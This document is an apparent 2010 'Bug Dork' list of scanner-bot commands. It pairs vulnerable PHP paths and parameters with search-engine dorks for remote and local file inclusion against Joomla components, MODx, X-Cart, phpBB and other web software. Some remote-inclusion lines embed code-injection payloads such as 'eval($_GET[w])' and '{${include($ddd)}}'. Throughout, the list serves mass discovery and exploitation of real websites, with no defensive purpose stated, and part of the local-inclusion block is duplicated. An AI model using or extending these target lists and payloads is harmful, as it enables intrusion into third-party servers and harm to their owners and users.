Bug Dork 2010

BUG RFI

.scan /components/com_joomlalib/standalone/stubjambo.php?baseDir= "/index.php?option=com_easybook”
.scan /assets/snippets/reflect/snippet.reflect.php?reflect_base= "/index.php?id=50?
.scan /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a= "Diese Seite wurde mit der quelloffenen Software CMS Made Simple erstellt.”
.scan /members/?INC= "YourWebsitename gives you the best search results and keyword bidding.”
.scan /members/?INC= "If You lost password enter Your login:”
.scan2 ////////?cmd&file= "index.php?cmd=10?
.scan2 /include/admin.lib.inc.php?site_path= /list.php?bbs_id=
.scan2 /components/com_joomlalib/standalone/stubjambo.php?baseDir= "option,com_joomlalib”
.scan2 /wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath= "/plugins/mygallery/”
.scan2 /skins/advanced/advanced1.php?pluginpath[0]= "/advanced2.php”
.scan2 /admin/auth.php?xcart_dir= "/pages.php?pageid=3? -p 200
.scan2 /admin/auth.php?xcart_dir= "/admin/auth.php?xcart_dir=”
.scan2 /?sourcedir= "/QueryString.php”
.scan2 /skin_shop/standard/3_plugin_twindow/twindow_cart.php?shop_this_skin_path= "/board.php?board=”
.scan2 ?sourcedir= index.php?sourcedir=
.scan2 /components/com_joomlalib/standalone/stubjambo.php?baseDir= /index.php?option=com_gallery2
.scan2 /bemarket/postscript/postscript.php?p_mode= /bemarket/
.scan2 /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a= /index.php?mact= -p 200
.scan2 /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a= News,cntnt01,detail,0&cntnt01articleid= -p100
.scan2 /stats.php?dir[func]=&dir[base]= "mygamingladder” "my gaming ladder”
.scan2 /extras/poll/poll.php?file_newsportal= "/post.php?newsgroups=”
.scan2 /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path= "com_sitemap”
.scan2 /autoclose.php?subd= "Help Desk Software By Kayako eSupport v3.10.02?
.scan2 /kboard.php?board=notice&act=write&no=3&page=&cid=&mode=reply&act= "/board.php?board=”
.scan2 /kboard.php?board=notice&act=write&no=3&page=&cid=&mode=reply&act= "/kboard.php?board=notice”
.scan2 /inc/shows.inc.php?cutepath= "Translated by Slaver”
.scan2 /themes/default/index.php?main= "cfagcms” "cfagcms”
.scan2 /themes/default/index.php?main= "cfag cms”
.scan2 /comments.php?id={${include($ddd)}}{${exit()}}&ddd= "poll_ssi.php”
.scan2 /poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd= "/poll_cookie.php”
.scan2 /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= "/index.php?option=com_content” xoo
.scan2 /admin.php?include_path= "Powered by Lazarus Guestbook from carbonize.co.uk”
.scan2 /classes/Import_MM.class.php?g_rb_basedir= "PHPRecipeBook”
.scan2 /?sIncPath= "Copyright © 2008 Your Company.”
.scan2 /?sIncPath= "/index.php?members_mode=”
.scan2 /?sIncPath= "/index.php?members_mode=top”
.scan2 /?sIncPath= "index.php?tags_mode=profile”
.scan2 /common/db.php?commonpath= "playing.php”
.scan2 /update/update2.php?lang= photokorn 1.53
.scan2 /index.php?view=page&pagename= "/?view=main&cityid=”
.scan2 /index.php?view=page&pagename= "You have an error in your SQL syntax;”
.scan2 /index.php?view=page&pagename= "/?view=selectcity&targetview=post&cityid=-3〈=en”
.scan2 /index.php?load= "/index.php?load=home”
.scan2 /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= "/index.php?module=Pagesetter”
.scan2 /index.php?view=page&pagename= "/?view=main&cityid=”
.scan2 /index.php?view=page&pagename= "You have an error in your SQL syntax;”
.scan2 /index.php?view=page&pagename= "/?view=selectcity&targetview=post&cityid=-3〈=en”
.scan2 /page.php?id= "RCMS-Pro”
.scan2 /page.php?id= "©2005 – 2006 Roosevelt Purification. RGameScript is a free software under GNU/GPL License”
.scan2 /page.php?id= "/index.php?id=cats”
.scan2 /function.inc.php?path= "ACGVclick” "ACGVclick”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "MODx” "MODx”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "MODx Parse Error”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "/index.php?id=5?
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "/index.php?id=1&start=10?
.scan2 /tools/send_reminders.php?noSet=0&includedir= "WebCalendar v1.1.0c-CVS”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "snippets/reflect”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "MODx CMS”
.scan2 /assets/snippets/reflect/snippet.reflect.php?reflect_base= "My MODx Site is powered by MODx Content Management System”
.scan2 /index.php?view=page&pagename= "Buy, sell, trade, date, events… post anything”
.scan2 /index.php?view=page&pagename= "Thank you for stopping by my site. Here you can leave your mark.”
.scan2 /includes/function_core.php?web_root= "Mp3 Rating”
.scan2 /?mosConfig_absolute_path= "Powered by Joomla!”
.scan2 /modules/Forums/admin/admin_words.php?phpbb_root_path= "Hebrew Ver. HebNukeR 2.0 © 2004 by HebNukeR.org. All Rights Reserved”
.scan2 /index.php?option=com_custompages&cpage= Joomla custompages
.scan2 /booth.php?include_path= "/poll_cookie.php”
.scan2 /update/update2.php?lang= "photo foto gallery bilder tauchen wracks galerie”
.scan2 /header.php?base_folder= "Powered by Bab.stats”
.scan2 /tools/send_reminders.php?noSet=0&includedir= WebCalendar v1.0RC3 (11 Mar 2005)
.scan2 /booth.php?include_path= "/poll_cookie.php”
.scan2 /index.php?cmd&file= "Membre avec photos seulement ?”
.scan2 /index.php?cmd&file= "%22HOME%22+%22%7C%22+%22UPLOAD+YOUR+PHOTO%22+%22%7C%22+%22LATEST+USERS%22+%22%7C%22+%22TOP+10%22+%22%7C%22+%22TOP+GUYS%22+%22%7C%22+%22TOP+GIRLS%22+%22%7C%22+%22CONTACT%22?
.scan2 /index.php?cmd&file= "List Users with Pics only?”
.scan2 /index.php?cmd&file= "So you think you’re HOT?”
.scan2 /contenido/external/frontend/news.php?cfg[path][includes]= Contenido Login
.scan2 /contenido/external/frontend/news.php?cfg[path][includes]= "Contenido Login” "Contenido Login”
.scan2 /clmcpreload.php?CLPATH= "CaLogic” "Calendars”
.scan2 /txt-db-api/txt-db-api.php?API_HOME_DIR= "linkmix” "linkmix” "linkmix”
.scan2 /cms/system/openengine.php?oe_classpath= "/cms/website.php?id=/de/”
.scan2 /modules/Forums/admin/admin_words.php?phpbb_root_path= "Thai Edition by ThaiNuke”
.scan2 index.php?custompluginfile[]= "Sorry, your account does not have access to submit information”
.scan2 include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= /index.php?nwaction=shownews
.scan2 include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= /article.php?article_file=
.scan2 include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= "Newswriter” "Newswriter”
.scan2 /modules/coppermine/themes/coppercop/theme.php?THEME_DIR= "coppermine” "coppermine” "coppermine”
.scan2 /config.inc.php?path_escape= "Your Personal Search Advisor !”
.scan2 /include/scripts/export_batch.inc.php?DIR= "ModernBill”
.scan2 /config/config_admin.php?INC= "YourWebsitename gives you the best search results and keyword bidding.”
.scan2 /config/config_admin.php?INC= %22home%22+%22%7C%22+%22login%22+%22%7C%22+%22add+your+site%22+%22%7C%22+%22affiliate+program%22+%22%7C%22+%22privacy%22+%22%7C%22+%22terms%22
.scan2 /include/admin.lib.inc.php?site_path= /view.php?bbs_id=
.scan2 /clmcpreload.php?CLPATH= "© Philip Boone”
.scan components/com_virtuemart/install.php?mosConfig_absolute_path= "powered by VirtueMart”
.scan includes/archive/archive_topic.php?phpbb_root_path= IntegraMOD
.scan components/com_moofaq/includes/file_includer.php?gzip=0&file= "com_moofaq"
.scan /components/com_fabrik/libs/Blowfish/CBC.php?mosConfig_absolute_path= /com_fabrik/
.scan /index.php?option=com_fabrik&task=view&Itemid=&mosConfig_absolute_path= /com_fabrik/
.scan /snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir= snippetmaster
.scan2 ?dir[func]=&dir[base]= "Ladder Scripts"
.scan /accounts/inc/errors.php?error= "Powered By: Merak Mail Server Software"
.scan conf.php?subdir= "wow roster"
.scan /config/config_admin.php?INC= "Keyword" "Add Your Site"
.scan src/admin/pt_upload.php?config_file=[localserverfile]&ptconf[src]=
.scan ?INCLUDE_FOLDER= "e404.php"?*.st"
.scan /?_zb_path= "/bbs/" "/zboard/"
.scan //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= index.php
.scan source/mod/rss/viewitem.php?Codebase= ED Engine
.scan source/mod/rss/channeledit.php?Codebase= WebEd
.scan prepare.php?xcart_dir= "X-CART. Powerful PHP shopping cart software"
.scan /admin/frontpage_right.php?loadadminpage= Copyright � 2007 Agares Media
.scan /index.php?get= inurl”index.php?get=”
.scan /index.php?target= inurl”index.php?target=”

BUG LFI

!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_bca-rss-syndicator&controller= "com_bca-rss-syndicator"
!lfi /index.php?option=com_joomlaupdater&controller= "com_joomlaupdater"
!lfi /index.php?option=com_redshop&view= "com_redshop"
!lfi /index.php?option=com_redtwitter&view= "com_redtwitter"
!lfi /index.php?option=com_wisroyq&controller= "com_wisroyq"
!lfi /index.php?option=com_jinventory&controller= "com_jinventory"
!lfi /index.php?option=com_appointment&controller= "com_appointment"
!lfi /index.php?option=com_datafeeds&controller= "com_datafeeds"
!lfi /index.php?option=com_fabrik&controller= "com_fabrik"
!lfi /index.php?option=com_hsconfig&controller= "com_hsconfig"
!lfi /index.php?option=com_joomlaflickr&controller= "com_joomlaflickr"
!lfi /index.php?option=com_jukebox&controller= "com_jukebox"
!lfi /index.php?option=com_jwhmcs&controller= "com_jwhmcs"
!lfi /index.php?option=com_sebercart&view= "com_sebercart"
!lfi /index.php?option=com_awiki&controller= "com_awiki"
!lfi /index.php?option=com_vjdeo&controller= "com_vjdeo"
!lfi /index.php?option=com_awdwall&controller= "com_awdwall"
!lfi /index.php?option=com_realtyna&controller= "com_realtyna"
!lfi /index.php?option=com_webeecomment&controller= "com_webeecomment"
!lfi /index.php?option=com_javoice&view= "com_javoice"
!lfi /index.php?option=com_foobla_suggestions&controller= "com_foobla_suggestions"
!lfi /index.php?option=com_powermail&controller= "com_powermail"
!lfi /index.php?option=com_pcchess&controller= "com_pcchess"
!lfi /index.php?option=com_spsnewsletter&controller= "com_spsnewsletter"
!lfi /index.php?option=com_alphauserpoints&view= "com_alphauserpoints"
!lfi /index.php?option=com_travelbook&controller= "com_travelbook"
!lfi /index.php?option=com_tweetla&controller= "com_tweetla"
!lfi /index.php?option=com_ticketbook&controller= "com_ticketbook"
!lfi /index.php?option=com_jajobboard&view= "com_jajobboard"
!lfi /index.php?option=com_jajobboard&controller= "com_jajobboard"
!lfi /index.php?option=com_jfeedback&controller= "com_jfeedback"
!lfi /index.php?option=com_jprojectmanager&controller= "com_jprojectmanager"
!lfi /index.php?option=com_preventive&controller= "com_preventive"
!lfi /index.php?option=com_myfiles&controller= "com_myfiles"
!lfi /index.php?option=com_onlineexam&controller= "com_onlineexam"
!lfi /index.php?option=com_joommail&controller= "com_joommail"
!lfi /index.php?option=com_memory&controller= "com_memory"
!lfi /index.php?option=com_market&controller= "com_market"
!lfi /index.php?option=com_diary&controller= "com_diary"
!lfi /index.php?option=com_webtv&controller= "com_webtv"
!lfi /index.php?option=com_horoscope&controller= "com_horoscope"
!lfi /index.php?option=com_arcadegames&controller= "com_arcadegames"
!lfi /index.php?option=com_flashgames&controller= "com_flashgames"
!lfi /index.php?option=com_addressbook&controller= "com_addressbook"
!lfi /index.php?option=com_flexicontent&controller= "com_flexicontent"
!lfi /index.php?option=com_advertising&controller= "com_advertising"
!lfi /index.php?option=com_cvmaker&controller= "com_cvmaker"
!lfi /index.php?option=com_worldrates&controller= "com_worldrates"
!lfi /index.php?option=com_record&controller= "com_record"
!lfi /index.php?option=com_sweetykeeper&controller= "com_sweetykeeper"
!lfi /index.php?option=com_beeheard&controller= "com_beeheard"
!lfi /index.php?option=com_blogfactory&controller= "com_blogfactory"
!lfi /index.php?option=com_delicious&controller= "com_delicious"
!lfi /index.php?option=com_jacomment&view= "com_jacomment"
!lfi /index.php?option=com_lovefactory&controller= "com_lovefactory"
!lfi /index.php?option=com_mtfireeagle&controller= "com_mtfireeagle"
!lfi /index.php?option=com_photobattle&view= "com_photobattle"
!lfi /index.php?option=com_s5clanroster&view= "com_s5clanroster"
!lfi /index.php?option=com_s5clanroster&controller= "com_s5clanroster"
!lfi /index.php?option=com_wgpicasa&controller= "com_wgpicasa"
!lfi /index.php?option=com_zimbcomment&controller= "com_zimbcomment"
!lfi /index.php?option=com_zimbcore&controller= "com_zimbcore"
!lfi /index.php?option=com_gadgetfactory&controller= "com_gadgetfactory"
!lfi /index.php?option=com_matamko&controller= "com_matamko"
!lfi /index.php?option=com_archeryscores&controller= "com_archeryscores"
!lfi /index.php?option=com_multiroot&controller= "com_multiroot"
!lfi /index.php?option=com_multimap&controller= "com_multimap"
!lfi /index.php?option=com_drawroot&controller= "com_drawroot"
!lfi /index.php?option=com_google&controller= "com_google"
!lfi /index.php?option=com_if_surfalert&controller= "com_if_surfalert"
!lfi /index.php?option=com_orgchart&controller= "com_orgchart"
!lfi /index.php?option=com_mmsblog&controller= "com_mmsblog"
!lfi /index.php?option=com_wmi&controller= "com_wmi"
!lfi /index.php?option=com_ultimateportfolio&controller= "com_ultimateportfolio"
!lfi /index.php?option=com_noticeboard&controller= "com_noticeboard"
!lfi /index.php?option=com_smartsite&controller= "com_smartsite"
!lfi /index.php?option=com_graphics&controller= "com_graphics"
!lfi /index.php?option=com_php&file= "com_php"
!lfi /index.php?option=com_aardvertiser&task= "com_aardvertiser"
!lfi /index.php?option=com_jejob&view= "com_jejob"
!lfi /index.php?option=com_jeajaxeventcalendar&view= "com_jeajaxeventcalendar"
!lfi /index.php?option=com_dioneformwizard&controller= "com_dioneformwizard"
!lfi /index.php?option=com_jequoteform&view= "com_jequoteform"
!lfi /index.php?option=com_mscomment&controller= "com_mscomment"
!lfi /index.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_event&view= "com_event"
!lfi /index.php?option=com_product&controller= "com_product"
!lfi /index.php?option=com_job&controller= "com_job"
!lfi /index2.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_perchaimageattach&controller= "com_perchaimageattach"
!lfi /index.php?option=com_perchafieldsattach&controller= "com_perchafieldsattach"
!lfi /index.php?option=com_perchagallery&controller= "com_perchagallery"